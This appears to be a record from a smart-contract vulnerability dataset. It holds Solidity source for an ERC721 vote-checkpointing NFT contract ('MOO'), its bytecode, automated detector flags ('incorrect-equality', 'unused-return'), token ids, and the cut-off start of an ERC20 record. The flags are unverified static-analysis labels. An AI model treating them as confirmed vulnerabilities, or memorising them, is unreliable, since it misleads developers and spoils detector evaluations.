blockNumber) public view returns (uint96) { require(blockNumber < block.number, "ERC721Checkpointable::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { /// @notice differs from `_delegate()` in `Comp.sol` to use `delegates` override method to simulate auto-delegation address currentDelegate = delegates(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); uint96 amount = votesToDelegate(delegator); _moveDelegates(currentDelegate, delegatee, amount); } function _moveDelegates( address srcRep, address dstRep, uint96 amount ) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "ERC721Checkpointable::_moveDelegates: amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "ERC721Checkpointable::_moveDelegates: amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes ) internal { uint32 blockNumber = safe32( block.number, "ERC721Checkpointable::_writeCheckpoint: block number exceeds 32 bits" ); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal view returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } pragma solidity ^0.8.6; contract MOO is Ownable, ERC721Checkpointable { constructor() ERC721("The MOO ComMOOnity", "MOO") {} uint256 public tokenPrice = 0.04 ether; uint256 public maxTokensPerMint = 50; string public tokenBaseURI = "ipfs://QmXfcgpjG43mvaeMsYxvYEzwyqVs8k8KAvHZ54KJqZHf6n/"; uint256 public tokensToBuyAmount = 1000; bool public hasSaleStarted = false; function setMaxTokensPerMint(uint256 val) external onlyOwner { maxTokensPerMint = val; } function setSaleStarted(bool val) external onlyOwner { hasSaleStarted = val; } function setTokenPrice(uint256 val) external onlyOwner { tokenPrice = val; } function mint(uint256 amount) external payable { require(msg.value >= tokenPrice * amount, "Incorrect ETH"); require(hasSaleStarted, "Cannot mint before the sale has started"); require(amount <= maxTokensPerMint, "Cannot mint more than the max tokens per mint"); require(amount <= tokensToBuyAmount, "No tokens left for minting"); uint256 supply = totalSupply(); for(uint256 i = 0; i < amount; i++) { _safeMint(msg.sender, 1 + supply + i); } tokensToBuyAmount -= amount; } function _baseURI() internal view override(ERC721) returns (string memory) { return tokenBaseURI; } function setBaseURI(string calldata URI) external onlyOwner { tokenBaseURI = URI; } function withdraw() external onlyOwner { require(payable(msg.sender).send(address(this).balance)); } }
0x6080604052600436106102515760003560e01c806370a0823111610139578063a854ffba116100b6578063e7a324dc1161007a578063e7a324dc1461071d578063e9580e9114610751578063e985e9c514610771578063f1127ed8146107ba578063f2fde38b1461082e578063ff45cb951461084e57600080fd5b8063a854ffba1461067d578063b4b5ea571461069d578063b88d4fde146106bd578063c3cda520146106dd578063c87b56dd146106fd57600080fd5b80637ff9b596116100fd5780637ff9b596146106015780638da5cb5b1461061757806395d89b4114610635578063a0712d681461064a578063a22cb4651461065d57600080fd5b806370a0823114610547578063715018a614610567578063762cda3c1461057c578063782d6fe11461059c5780637ecebe00146105d457600080fd5b8063313ce567116101d257806355f804b31161019657806355f804b31461045f578063587cde1e1461047f5780635c19a95c1461049f5780636352211e146104bf5780636a61e5fc146104df5780636fcfff45146104ff57600080fd5b8063313ce567146103ce5780633ccfd60b146103f557806342842e0e1461040a5780634e99b8001461042a5780634f6ccce71461043f57600080fd5b806318160ddd1161021957806318160ddd1461032b5780631c8b232d1461034057806320606b701461035a57806323b872dd1461038e5780632f745c59146103ae57600080fd5b806301ffc9a71461025657806306fdde031461028b578063081812fc146102ad578063095ea7b3146102e55780631746547114610307575b600080fd5b34801561026257600080fd5b50610276610271366004612c66565b610864565b60405190151581526020015b60405180910390f35b34801561029757600080fd5b506102a061088f565b6040516102829190612dc3565b3480156102b957600080fd5b506102cd6102c8366004612d12565b610921565b6040516001600160a01b039091168152602001610282565b3480156102f157600080fd5b50610305610300366004612b81565b6109bb565b005b34801561031357600080fd5b5061031d60105481565b604051908152602001610282565b34801561033757600080fd5b5060095461031d565b34801561034c57600080fd5b506013546102769060ff1681565b34801561036657600080fd5b5061031d7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b34801561039a57600080fd5b506103056103a9366004612a3f565b610ad1565b3480156103ba57600080fd5b5061031d6103c9366004612b81565b610b02565b3480156103da57600080fd5b506103e3600081565b60405160ff9091168152602001610282565b34801561040157600080fd5b50610305610b98565b34801561041657600080fd5b50610305610425366004612a3f565b610be8565b34801561043657600080fd5b506102a0610c03565b34801561044b57600080fd5b5061031d61045a366004612d12565b610c91565b34801561046b57600080fd5b5061030561047a366004612ca0565b610d24565b34801561048b57600080fd5b506102cd61049a3660046129f1565b610d5a565b3480156104ab57600080fd5b506103056104ba3660046129f1565b610d8c565b3480156104cb57600080fd5b506102cd6104da366004612d12565b610daa565b3480156104eb57600080fd5b506103056104fa366004612d12565b610e21565b34801561050b57600080fd5b5061053261051a3660046129f1565b600d6020526000908152604090205463ffffffff1681565b60405163ffffffff9091168152602001610282565b34801561055357600080fd5b5061031d6105623660046129f1565b610e50565b34801561057357600080fd5b50610305610ed7565b34801561058857600080fd5b50610305610597366004612d12565b610f0b565b3480156105a857600080fd5b506105bc6105b7366004612b81565b610f3a565b6040516001600160601b039091168152602001610282565b3480156105e057600080fd5b5061031d6105ef3660046129f1565b600e6020526000908152604090205481565b34801561060d57600080fd5b5061031d600f5481565b34801561062357600080fd5b506000546001600160a01b03166102cd565b34801561064157600080fd5b506102a06111d7565b610305610658366004612d12565b6111e6565b34801561066957600080fd5b50610305610678366004612b57565b6113b4565b34801561068957600080fd5b50610305610698366004612c4b565b6113c3565b3480156106a957600080fd5b506105bc6106b83660046129f1565b611400565b3480156106c957600080fd5b506103056106d8366004612a7b565b61147d565b3480156106e957600080fd5b506103056106f8366004612bab565b6114b5565b34801561070957600080fd5b506102a0610718366004612d12565b6117b3565b34801561072957600080fd5b5061031d7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b34801561075d57600080fd5b506105bc61076c3660046129f1565b61188d565b34801561077d57600080fd5b5061027661078c366004612a0c565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b3480156107c657600080fd5b5061080a6107d5366004612c0b565b600c60209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b6040805163ffffffff90931683526001600160601b03909116602083015201610282565b34801561083a57600080fd5b506103056108493660046129f1565b6118b9565b34801561085a57600080fd5b5061031d60125481565b60006001600160e01b0319821663780e9d6360e01b1480610889575061088982611951565b92915050565b60606001805461089e90612fe5565b80601f01602080910402602001604051908101604052809291908181526020018280546108ca90612fe5565b80156109175780601f106108ec57610100808354040283529160200191610917565b820191906000526020600020905b8154815290600101906020018083116108fa57829003601f168201915b5050505050905090565b6000818152600360205260408120546001600160a01b031661099f5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600560205260409020546001600160a01b031690565b60006109c682610daa565b9050806001600160a01b0316836001600160a01b03161415610a345760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610996565b336001600160a01b0382161480610a505750610a50813361078c565b610ac25760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610996565b610acc83836119a1565b505050565b610adb3382611a0f565b610af75760405162461bcd60e51b815260040161099690612e5d565b610acc838383611b06565b6000610b0d83610e50565b8210610b6f5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610996565b506001600160a01b03919091166000908152600760209081526040808320938352929052205490565b6000546001600160a01b03163314610bc25760405162461bcd60e51b815260040161099690612e28565b60405133904780156108fc02916000818181858888f19350505050610be657600080fd5b565b610acc8383836040518060200160405280600081525061147d565b60118054610c1090612fe5565b80601f0160208091040260200160405190810160405280929190818152602001828054610c3c90612fe5565b8015610c895780601f10610c5e57610100808354040283529160200191610c89565b820191906000526020600020905b815481529060010190602001808311610c6c57829003601f168201915b505050505081565b6000610c9c60095490565b8210610cff5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610996565b60098281548110610d1257610d12613091565b90600052602060002001549050919050565b6000546001600160a01b03163314610d4e5760405162461bcd60e51b815260040161099690612e28565b610acc6011838361292c565b6001600160a01b038082166000908152600b60205260408120549091168015610d835780610d85565b825b9392505050565b6001600160a01b038116610d9d5750335b610da73382611cb1565b50565b6000818152600360205260408120546001600160a01b0316806108895760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610996565b6000546001600160a01b03163314610e4b5760405162461bcd60e51b815260040161099690612e28565b600f55565b60006001600160a01b038216610ebb5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610996565b506001600160a01b031660009081526004602052604090205490565b6000546001600160a01b03163314610f015760405162461bcd60e51b815260040161099690612e28565b610be66000611d31565b6000546001600160a01b03163314610f355760405162461bcd60e51b815260040161099690612e28565b601055565b6000438210610fb15760405162461bcd60e51b815260206004820152603760248201527f455243373231436865636b706f696e7461626c653a3a6765745072696f72566f60448201527f7465733a206e6f74207965742064657465726d696e65640000000000000000006064820152608401610996565b6001600160a01b0383166000908152600d602052604090205463ffffffff1680610fdf576000915050610889565b6001600160a01b0384166000908152600c602052604081208491611004600185612f74565b63ffffffff90811682526020820192909252604001600020541611611077576001600160a01b0384166000908152600c6020526040812090611047600184612f74565b63ffffffff168152602081019190915260400160002054600160201b90046001600160601b031691506108899050565b6001600160a01b0384166000908152600c6020908152604080832083805290915290205463ffffffff168310156110b2576000915050610889565b6000806110c0600184612f74565b90505b8163ffffffff168163ffffffff16111561119257600060026110e58484612f74565b6110ef9190612f1b565b6110f99083612f74565b6001600160a01b0388166000908152600c6020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b031691810191909152919250871415611166576020015194506108899350505050565b805163ffffffff1687111561117d5781935061118b565b611188600183612f74565b92505b50506110c3565b506001600160a01b0385166000908152600c6020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60606002805461089e90612fe5565b80600f546111f49190612f3e565b3410156112335760405162461bcd60e51b815260206004820152600d60248201526c092dcc6dee4e4cac6e8408aa89609b1b6044820152606401610996565b60135460ff166112955760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f74206d696e74206265666f7265207468652073616c6520686173206044820152661cdd185c9d195960ca1b6064820152608401610996565b6010548111156112fd5760405162461bcd60e51b815260206004820152602d60248201527f43616e6e6f74206d696e74206d6f7265207468616e20746865206d617820746f60448201526c1ad95b9cc81c195c881b5a5b9d609a1b6064820152608401610996565b60125481111561134f5760405162461bcd60e51b815260206004820152601a60248201527f4e6f20746f6b656e73206c65667420666f72206d696e74696e670000000000006044820152606401610996565b600061135a60095490565b905060005b82811015611398576113863382611377856001612eae565b6113819190612eae565b611d81565b8061139081613020565b91505061135f565b5081601260008282546113ab9190612f5d565b90915550505050565b6113bf338383611d9b565b5050565b6000546001600160a01b031633146113ed5760405162461bcd60e51b815260040161099690612e28565b6013805460ff1916911515919091179055565b6001600160a01b0381166000908152600d602052604081205463ffffffff168061142b576000610d85565b6001600160a01b0383166000908152600c602052604081209061144f600184612f74565b63ffffffff168152602081019190915260400160002054600160201b90046001600160601b03169392505050565b6114873383611a0f565b6114a35760405162461bcd60e51b815260040161099690612e5d565b6114af84848484611e6a565b50505050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8666114e061088f565b805190602001206114ee4690565b60408051602080820195909552808201939093526060830191909152306080808401919091528151808403909101815260a0830182528051908401207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c08401526001600160a01b038b1660e084015261010083018a90526101208084018a90528251808503909101815261014084019092528151919093012061190160f01b610160830152610162820183905261018282018190529192506000906101a20160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa15801561161a573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661169c5760405162461bcd60e51b815260206004820152603660248201527f455243373231436865636b706f696e7461626c653a3a64656c656761746542796044820152755369673a20696e76616c6964207369676e617475726560501b6064820152608401610996565b6001600160a01b0381166000908152600e602052604081208054916116c083613020565b91905055891461172d5760405162461bcd60e51b815260206004820152603260248201527f455243373231436865636b706f696e7461626c653a3a64656c656761746542796044820152715369673a20696e76616c6964206e6f6e636560701b6064820152608401610996565b8742111561179c5760405162461bcd60e51b815260206004820152603660248201527f455243373231436865636b706f696e7461626c653a3a64656c6567617465427960448201527514da59ce881cda59db985d1d5c9948195e1c1a5c995960521b6064820152608401610996565b6117a6818b611cb1565b505050505b505050505050565b6000818152600360205260409020546060906001600160a01b03166118325760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610996565b600061183c611e9d565b9050600081511161185c5760405180602001604052806000815250610d85565b8061186684611eac565b604051602001611877929190612d57565b6040516020818303038152906040529392505050565b600061088961189b83610e50565b6040518060600160405280603d815260200161314e603d9139611faa565b6000546001600160a01b031633146118e35760405162461bcd60e51b815260040161099690612e28565b6001600160a01b0381166119485760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610996565b610da781611d31565b60006001600160e01b031982166380ac58cd60e01b148061198257506001600160e01b03198216635b5e139f60e01b145b8061088957506301ffc9a760e01b6001600160e01b0319831614610889565b600081815260056020526040902080546001600160a01b0319166001600160a01b03841690811790915581906119d682610daa565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600360205260408120546001600160a01b0316611a885760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610996565b6000611a9383610daa565b9050806001600160a01b0316846001600160a01b03161480611ace5750836001600160a01b0316611ac384610921565b6001600160a01b0316145b80611afe57506001600160a01b0380821660009081526006602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611b1982610daa565b6001600160a01b031614611b815760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610996565b6001600160a01b038216611be35760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610996565b611bee838383611fd9565b611bf96000826119a1565b6001600160a01b0383166000908152600460205260408120805460019290611c22908490612f5d565b90915550506001600160a01b0382166000908152600460205260408120805460019290611c50908490612eae565b909155505060008181526003602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6000611cbc83610d5a565b6001600160a01b038481166000818152600b602052604080822080546001600160a01b031916888616908117909155905194955093928516927f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a46000611d248461188d565b90506114af828483611ffc565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6113bf8282604051806020016040528060008152506121a8565b816001600160a01b0316836001600160a01b03161415611dfd5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610996565b6001600160a01b03838116600081815260066020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611e75848484611b06565b611e81848484846121db565b6114af5760405162461bcd60e51b815260040161099690612dd6565b60606011805461089e90612fe5565b606081611ed05750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611efa5780611ee481613020565b9150611ef39050600a83612f07565b9150611ed4565b60008167ffffffffffffffff811115611f1557611f156130a7565b6040519080825280601f01601f191660200182016040528015611f3f576020820181803683370190505b5090505b8415611afe57611f54600183612f5d565b9150611f61600a8661303b565b611f6c906030612eae565b60f81b818381518110611f8157611f81613091565b60200101906001600160f81b031916908160001a905350611fa3600a86612f07565b9450611f43565b600081600160601b8410611fd15760405162461bcd60e51b81526004016109969190612dc3565b509192915050565b611fe48383836122e8565b610acc611ff084610d5a565b611ff984610d5a565b60015b816001600160a01b0316836001600160a01b03161415801561202757506000816001600160601b0316115b15610acc576001600160a01b038316156120ec576001600160a01b0383166000908152600d602052604081205463ffffffff1690816120675760006120b3565b6001600160a01b0385166000908152600c602052604081209061208b600185612f74565b63ffffffff168152602081019190915260400160002054600160201b90046001600160601b03165b905060006120da828560405180606001604052806037815260200161318b603791396123a0565b90506120e8868484846123e2565b5050505b6001600160a01b03821615610acc576001600160a01b0382166000908152600d602052604081205463ffffffff169081612127576000612173565b6001600160a01b0384166000908152600c602052604081209061214b600185612f74565b63ffffffff168152602081019190915260400160002054600160201b90046001600160601b03165b9050600061219a82856040518060600160405280603681526020016130d4603691396125da565b90506117ab858484846123e2565b6121b28383612627565b6121bf60008484846121db565b610acc5760405162461bcd60e51b815260040161099690612dd6565b60006001600160a01b0384163b156122dd57604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061221f903390899088908890600401612d86565b602060405180830381600087803b15801561223957600080fd5b505af1925050508015612269575060408051601f3d908101601f1916820190925261226691810190612c83565b60015b6122c3573d808015612297576040519150601f19603f3d011682016040523d82523d6000602084013e61229c565b606091505b5080516122bb5760405162461bcd60e51b815260040161099690612dd6565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611afe565b506001949350505050565b6001600160a01b0383166123435761233e81600980546000838152600a60205260408120829055600182018355919091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0155565b612366565b816001600160a01b0316836001600160a01b031614612366576123668382612775565b6001600160a01b03821661237d57610acc81612812565b826001600160a01b0316826001600160a01b031614610acc57610acc82826128c1565b6000836001600160601b0316836001600160601b0316111582906123d75760405162461bcd60e51b81526004016109969190612dc3565b50611afe8385612f99565b60006124064360405180608001604052806044815260200161310a60449139612905565b905060008463ffffffff1611801561246057506001600160a01b0385166000908152600c6020526040812063ffffffff831691612444600188612f74565b63ffffffff908116825260208201929092526040016000205416145b156124d4576001600160a01b0385166000908152600c60205260408120839161248a600188612f74565b63ffffffff168152602081019190915260400160002080546001600160601b0392909216600160201b026fffffffffffffffffffffffff0000000019909216919091179055612585565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000908152600c82528681208b8616825290915294909420925183549451909116600160201b026fffffffffffffffffffffffffffffffff19909416911617919091179055612554846001612ec6565b6001600160a01b0386166000908152600d60205260409020805463ffffffff191663ffffffff929092169190911790555b604080516001600160601b038086168252841660208201526001600160a01b038716917fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724910160405180910390a25050505050565b6000806125e78486612ee5565b9050846001600160601b0316816001600160601b03161015839061261e5760405162461bcd60e51b81526004016109969190612dc3565b50949350505050565b6001600160a01b03821661267d5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610996565b6000818152600360205260409020546001600160a01b0316156126e25760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610996565b6126ee60008383611fd9565b6001600160a01b0382166000908152600460205260408120805460019290612717908490612eae565b909155505060008181526003602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000600161278284610e50565b61278c9190612f5d565b6000838152600860205260409020549091508082146127df576001600160a01b03841660009081526007602090815260408083208584528252808320548484528184208190558352600890915290208190555b5060009182526008602090815260408084208490556001600160a01b039094168352600781528383209183525290812055565b60095460009061282490600190612f5d565b6000838152600a60205260408120546009805493945090928490811061284c5761284c613091565b90600052602060002001549050806009838154811061286d5761286d613091565b6000918252602080832090910192909255828152600a909152604080822084905585825281205560098054806128a5576128a561307b565b6001900381819060005260206000200160009055905550505050565b60006128cc83610e50565b6001600160a01b039093166000908152600760209081526040808320868452825280832085905593825260089052919091209190915550565b600081600160201b8410611fd15760405162461bcd60e51b81526004016109969190612dc3565b82805461293890612fe5565b90600052602060002090601f01602090048101928261295a57600085556129a0565b82601f106129735782800160ff198235161785556129a0565b828001600101855582156129a0579182015b828111156129a0578235825591602001919060010190612985565b506129ac9291506129b0565b5090565b5b808211156129ac57600081556001016129b1565b80356001600160a01b03811681146129dc57600080fd5b919050565b803580151581146129dc57600080fd5b600060208284031215612a0357600080fd5b610d85826129c5565b60008060408385031215612a1f57600080fd5b612a28836129c5565b9150612a36602084016129c5565b90509250929050565b600080600060608486031215612a5457600080fd5b612a5d846129c5565b9250612a6b602085016129c5565b9150604084013590509250925092565b60008060008060808587031215612a9157600080fd5b612a9a856129c5565b9350612aa8602086016129c5565b925060408501359150606085013567ffffffffffffffff80821115612acc57600080fd5b818701915087601f830112612ae057600080fd5b813581811115612af257612af26130a7565b604051601f8201601f19908116603f01168101908382118183101715612b1a57612b1a6130a7565b816040528281528a6020848701011115612b3357600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b60008060408385031215612b6a57600080fd5b612b73836129c5565b9150612a36602084016129e1565b60008060408385031215612b9457600080fd5b612b9d836129c5565b946020939093013593505050565b60008060008060008060c08789031215612bc457600080fd5b612bcd876129c5565b95506020870135945060408701359350606087013560ff81168114612bf157600080fd5b9598949750929560808101359460a0909101359350915050565b60008060408385031215612c1e57600080fd5b612c27836129c5565b9150602083013563ffffffff81168114612c4057600080fd5b809150509250929050565b600060208284031215612c5d57600080fd5b610d85826129e1565b600060208284031215612c7857600080fd5b8135610d85816130bd565b600060208284031215612c9557600080fd5b8151610d85816130bd565b60008060208385031215612cb357600080fd5b823567ffffffffffffffff80821115612ccb57600080fd5b818501915085601f830112612cdf57600080fd5b813581811115612cee57600080fd5b866020828501011115612d0057600080fd5b60209290920196919550909350505050565b600060208284031215612d2457600080fd5b5035919050565b60008151808452612d43816020860160208601612fb9565b601f01601f19169290920160200192915050565b60008351612d69818460208801612fb9565b835190830190612d7d818360208801612fb9565b01949350505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612db990830184612d2b565b9695505050505050565b602081526000610d856020830184612d2b565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60008219821115612ec157612ec161304f565b500190565b600063ffffffff808316818516808303821115612d7d57612d7d61304f565b60006001600160601b03808316818516808303821115612d7d57612d7d61304f565b600082612f1657612f16613065565b500490565b600063ffffffff80841680612f3257612f32613065565b92169190910492915050565b6000816000190483118215151615612f5857612f5861304f565b500290565b600082821015612f6f57612f6f61304f565b500390565b600063ffffffff83811690831681811015612f9157612f9161304f565b039392505050565b60006001600160601b0383811690831681811015612f9157612f9161304f565b60005b83811015612fd4578181015183820152602001612fbc565b838111156114af5750506000910152565b600181811c90821680612ff957607f821691505b6020821081141561301a57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156130345761303461304f565b5060010190565b60008261304a5761304a613065565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610da757600080fdfe455243373231436865636b706f696e7461626c653a3a5f6d6f766544656c6567617465733a20616d6f756e74206f766572666c6f7773455243373231436865636b706f696e7461626c653a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473455243373231436865636b706f696e7461626c653a3a766f746573546f44656c65676174653a20616d6f756e7420657863656564732039362062697473455243373231436865636b706f696e7461626c653a3a5f6d6f766544656c6567617465733a20616d6f756e7420756e646572666c6f7773a2646970667358221220625363623eff7e67fdb3d1a629a76b7425e53ee12e4fb68d2eba047e3e80334a64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 2683, 2581, 2050, 2581, 2575, 2683, 2629, 2050, 2692, 3401, 11329, 2497, 25746, 2278, 18139, 2581, 2497, 2692, 7875, 2094, 26187, 2683, 10790, 2487, 2094, 2487, 8586, 2575, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1014, 1006, 21183, 12146, 1013, 7817, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5164, 3136, 1012, 1008, 1013, 3075, 7817, 1063, 27507, 16048, 2797, 5377, 1035, 2002, 2595, 1035, 9255, 1027, 1000, 5890, 21926, 19961, 2575, 2581, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,648
0x957a549aa265b05364063b3cbd4ba653cc4e60d6
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) 